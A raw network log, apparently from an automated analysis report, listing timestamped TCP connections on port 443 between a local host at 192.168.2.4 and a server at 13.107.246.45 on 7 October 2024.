Oct 7, 2024 18:44:01.383501053 CEST	53670	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:01.383507013 CEST	443	53670	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:01.818228960 CEST	443	53666	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:01.822171926 CEST	53666	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:01.822199106 CEST	443	53666	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:01.822689056 CEST	53666	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:01.822695017 CEST	443	53666	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:01.910545111 CEST	443	53669	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:01.911195993 CEST	53669	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:01.911231995 CEST	443	53669	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:01.911607981 CEST	443	53667	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:01.911887884 CEST	53669	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:01.911895037 CEST	443	53669	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:01.912637949 CEST	53667	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:01.912667990 CEST	443	53667	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:01.913168907 CEST	53667	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:01.913172960 CEST	443	53667	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:01.915312052 CEST	443	53666	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:01.915397882 CEST	443	53666	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:01.915663958 CEST	53666	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:01.915796041 CEST	53666	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:01.915818930 CEST	443	53666	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:01.915832043 CEST	53666	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:01.915837049 CEST	443	53666	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:01.921551943 CEST	53671	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:01.921587944 CEST	443	53671	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:01.921653032 CEST	53671	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:01.921906948 CEST	53671	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:01.921920061 CEST	443	53671	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:01.924328089 CEST	443	53668	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:01.924889088 CEST	53668	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:01.924896955 CEST	443	53668	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:01.925338030 CEST	443	53670	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:01.925808907 CEST	53668	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:01.925812960 CEST	443	53668	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:01.926062107 CEST	53670	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:01.926070929 CEST	443	53670	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:01.926682949 CEST	53670	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:01.926686049 CEST	443	53670	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:02.004215956 CEST	443	53669	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:02.004283905 CEST	443	53669	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:02.004703999 CEST	53669	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:02.004703999 CEST	53669	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:02.004703999 CEST	53669	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:02.008183956 CEST	53672	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:02.008265018 CEST	443	53672	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:02.008456945 CEST	53672	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:02.008641005 CEST	53672	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:02.008658886 CEST	443	53672	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:02.011620045 CEST	443	53667	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:02.011784077 CEST	443	53667	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:02.011850119 CEST	53667	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:02.011918068 CEST	53667	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:02.011918068 CEST	53667	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:02.011956930 CEST	443	53667	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:02.011980057 CEST	443	53667	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:02.014395952 CEST	53673	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:02.014436960 CEST	443	53673	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:02.014497042 CEST	53673	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:02.014606953 CEST	53673	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:02.014619112 CEST	443	53673	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:02.024200916 CEST	443	53670	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:02.024358988 CEST	443	53670	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:02.024579048 CEST	53670	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:02.024580002 CEST	53670	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:02.024580002 CEST	53670	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:02.025485039 CEST	443	53668	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:02.025541067 CEST	443	53668	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:02.025582075 CEST	53668	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:02.025722027 CEST	53668	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:02.025731087 CEST	443	53668	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:02.025739908 CEST	53668	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:02.025743961 CEST	443	53668	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:02.027091026 CEST	53674	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:02.027101994 CEST	443	53674	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:02.027160883 CEST	53674	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:02.027415037 CEST	53674	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:02.027426958 CEST	443	53674	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:02.027889967 CEST	53675	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:02.027930975 CEST	443	53675	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:02.027988911 CEST	53675	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:02.028089046 CEST	53675	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:02.028100967 CEST	443	53675	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:02.317995071 CEST	53669	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:02.318028927 CEST	443	53669	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:02.333647966 CEST	53670	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:02.333667040 CEST	443	53670	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:02.561002016 CEST	443	53671	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:02.561522007 CEST	53671	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:02.561544895 CEST	443	53671	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:02.562021971 CEST	53671	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:02.562026978 CEST	443	53671	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:02.751539946 CEST	443	53672	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:02.752098083 CEST	53672	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:02.752142906 CEST	443	53672	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:02.752589941 CEST	53672	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:02.752604008 CEST	443	53672	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:02.759515047 CEST	443	53673	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:02.760042906 CEST	53673	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:02.760078907 CEST	443	53673	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:02.760555029 CEST	53673	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:02.760562897 CEST	443	53673	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:02.784745932 CEST	443	53671	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:02.784806967 CEST	443	53671	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:02.784869909 CEST	53671	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:02.785104990 CEST	53671	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:02.785130978 CEST	443	53671	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:02.785144091 CEST	53671	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:02.785151958 CEST	443	53671	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:02.788419962 CEST	53676	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:02.788522005 CEST	443	53676	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:02.788606882 CEST	53676	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:02.788841963 CEST	53676	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:02.788870096 CEST	443	53676	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:02.790297031 CEST	443	53675	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:02.790851116 CEST	53675	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:02.790882111 CEST	443	53675	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:02.791306973 CEST	53675	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:02.791313887 CEST	443	53675	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:02.871365070 CEST	443	53674	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:02.871962070 CEST	53674	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:02.871984005 CEST	443	53674	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:02.872417927 CEST	53674	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:02.872423887 CEST	443	53674	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:02.914393902 CEST	443	53672	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:02.914484978 CEST	443	53672	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:02.914747000 CEST	53672	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:02.915059090 CEST	53672	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:02.915086031 CEST	443	53672	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:02.915111065 CEST	53672	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:02.915117025 CEST	443	53672	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:02.915241957 CEST	443	53673	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:02.915426016 CEST	443	53673	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:02.917604923 CEST	443	53675	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:02.917690039 CEST	443	53675	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:02.917700052 CEST	53673	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:02.917733908 CEST	53673	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:02.917737007 CEST	53675	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:02.917749882 CEST	443	53673	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:02.917788029 CEST	53673	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:02.917793989 CEST	443	53673	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:02.918315887 CEST	53677	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:02.918356895 CEST	443	53677	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:02.918495893 CEST	53675	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:02.918512106 CEST	443	53675	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:02.918524981 CEST	53675	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:02.918529987 CEST	443	53675	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:02.918536901 CEST	53677	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:02.919117928 CEST	53677	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:02.919138908 CEST	443	53677	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:02.920336008 CEST	53678	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:02.920356989 CEST	443	53678	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:02.920382023 CEST	53679	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:02.920416117 CEST	53678	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:02.920458078 CEST	443	53679	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:02.920515060 CEST	53679	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:02.920631886 CEST	53678	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:02.920640945 CEST	53679	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:02.920644045 CEST	443	53678	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:02.920674086 CEST	443	53679	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:02.975279093 CEST	443	53674	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:02.975471020 CEST	443	53674	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:02.977175951 CEST	53674	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:02.977231979 CEST	53674	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:02.977251053 CEST	443	53674	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:02.977264881 CEST	53674	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:02.977269888 CEST	443	53674	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:02.979820967 CEST	53680	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:02.979866982 CEST	443	53680	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:02.980000973 CEST	53680	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:02.980175018 CEST	53680	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:02.980185986 CEST	443	53680	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:03.585338116 CEST	443	53676	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:03.585823059 CEST	53676	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:03.585845947 CEST	443	53676	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:03.586297989 CEST	53676	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:03.586302042 CEST	443	53676	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:03.671052933 CEST	443	53677	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:03.671503067 CEST	443	53678	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:03.671597958 CEST	53677	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:03.671633005 CEST	443	53677	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:03.672000885 CEST	53678	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:03.672015905 CEST	443	53678	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:03.672041893 CEST	53677	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:03.672046900 CEST	443	53677	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:03.672446966 CEST	53678	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:03.672455072 CEST	443	53678	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:03.703537941 CEST	443	53676	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:03.703591108 CEST	443	53676	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:03.703645945 CEST	53676	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:03.703860998 CEST	53676	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:03.703876019 CEST	443	53676	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:03.703886032 CEST	53676	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:03.703891039 CEST	443	53676	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:03.706824064 CEST	53681	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:03.706855059 CEST	443	53681	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:03.706926107 CEST	53681	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:03.707040071 CEST	53681	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:03.707043886 CEST	443	53681	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:03.718447924 CEST	443	53679	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:03.718862057 CEST	53679	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:03.718879938 CEST	443	53679	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:03.719338894 CEST	53679	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:03.719343901 CEST	443	53679	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:03.755542994 CEST	443	53680	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:03.756300926 CEST	53680	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:03.756300926 CEST	53680	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:03.756325960 CEST	443	53680	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:03.756346941 CEST	443	53680	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:03.767168045 CEST	443	53677	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:03.767245054 CEST	443	53677	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:03.767414093 CEST	53677	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:03.767441988 CEST	53677	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:03.767457962 CEST	443	53677	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:03.767471075 CEST	53677	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:03.767476082 CEST	443	53677	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:03.768579006 CEST	443	53678	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:03.768723011 CEST	443	53678	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:03.768793106 CEST	53678	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:03.768821001 CEST	53678	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:03.768827915 CEST	443	53678	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:03.768838882 CEST	53678	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:03.768842936 CEST	443	53678	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:03.771002054 CEST	53682	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:03.771027088 CEST	443	53682	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:03.771112919 CEST	53682	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:03.771243095 CEST	53683	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:03.771245956 CEST	53682	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:03.771258116 CEST	443	53682	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:03.771286011 CEST	443	53683	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:03.771543980 CEST	53683	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:03.771630049 CEST	53683	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:03.771641970 CEST	443	53683	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:03.843374968 CEST	443	53679	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:03.843564034 CEST	443	53679	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:03.843636036 CEST	53679	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:03.843780041 CEST	53679	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:03.843780041 CEST	53679	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:03.843812943 CEST	443	53679	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:03.843835115 CEST	443	53679	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:03.847018957 CEST	53684	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:03.847074986 CEST	443	53684	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:03.847186089 CEST	53684	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:03.847373962 CEST	53684	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:03.847383022 CEST	443	53684	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:03.852724075 CEST	443	53680	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:03.852809906 CEST	443	53680	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:03.852976084 CEST	53680	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:03.852976084 CEST	53680	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:03.853023052 CEST	53680	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:03.853039980 CEST	443	53680	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:03.855901003 CEST	53685	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:03.855937004 CEST	443	53685	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:03.855997086 CEST	53685	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:03.856118917 CEST	53685	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:03.856132984 CEST	443	53685	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:04.372620106 CEST	443	53681	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:04.373188972 CEST	53681	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:04.373202085 CEST	443	53681	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:04.373663902 CEST	53681	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:04.373668909 CEST	443	53681	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:04.382149935 CEST	443	53683	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:04.382479906 CEST	53683	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:04.382502079 CEST	443	53683	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:04.382929087 CEST	53683	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:04.382934093 CEST	443	53683	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:04.404299021 CEST	443	53682	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:04.404639959 CEST	53682	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:04.404649019 CEST	443	53682	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:04.405023098 CEST	53682	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:04.405026913 CEST	443	53682	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:04.472493887 CEST	443	53684	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:04.473071098 CEST	53684	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:04.473160982 CEST	443	53684	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:04.473340988 CEST	53684	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:04.473357916 CEST	443	53684	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:04.474540949 CEST	443	53681	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:04.474687099 CEST	443	53681	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:04.474812984 CEST	53681	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:04.474842072 CEST	53681	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:04.474858046 CEST	443	53681	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:04.474868059 CEST	53681	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:04.474873066 CEST	443	53681	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:04.477044106 CEST	443	53683	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:04.477196932 CEST	443	53683	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:04.477394104 CEST	53683	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:04.477413893 CEST	53683	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:04.477431059 CEST	443	53683	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:04.477441072 CEST	53683	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:04.477446079 CEST	443	53683	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:04.478210926 CEST	53686	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:04.478307962 CEST	443	53686	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:04.479257107 CEST	53687	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:04.479306936 CEST	53686	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:04.479316950 CEST	443	53687	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:04.479429960 CEST	53686	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:04.479454041 CEST	53687	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:04.479456902 CEST	443	53686	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:04.479582071 CEST	53687	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:04.479609966 CEST	443	53687	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:04.483975887 CEST	443	53685	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:04.484256029 CEST	53685	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:04.484278917 CEST	443	53685	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:04.484582901 CEST	53685	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:04.484594107 CEST	443	53685	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:04.503285885 CEST	443	53682	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:04.503340006 CEST	443	53682	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:04.505424976 CEST	53682	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:04.505619049 CEST	53682	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:04.505631924 CEST	443	53682	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:04.505640984 CEST	53682	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:04.505645990 CEST	443	53682	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:04.507517099 CEST	53688	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:04.507540941 CEST	443	53688	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:04.509402990 CEST	53688	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:04.509521008 CEST	53688	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:04.509535074 CEST	443	53688	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:04.568604946 CEST	443	53684	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:04.568778038 CEST	443	53684	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:04.568969965 CEST	53684	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:04.569009066 CEST	53684	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:04.569009066 CEST	53684	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:04.569031000 CEST	443	53684	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:04.569042921 CEST	443	53684	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:04.572052956 CEST	53689	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:04.572094917 CEST	443	53689	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:04.572208881 CEST	53689	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:04.572379112 CEST	53689	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:04.572397947 CEST	443	53689	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:04.588471889 CEST	443	53685	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:04.588552952 CEST	443	53685	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:04.589421034 CEST	53685	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:04.589674950 CEST	53685	443	192.168.2.4	13.107.246.45
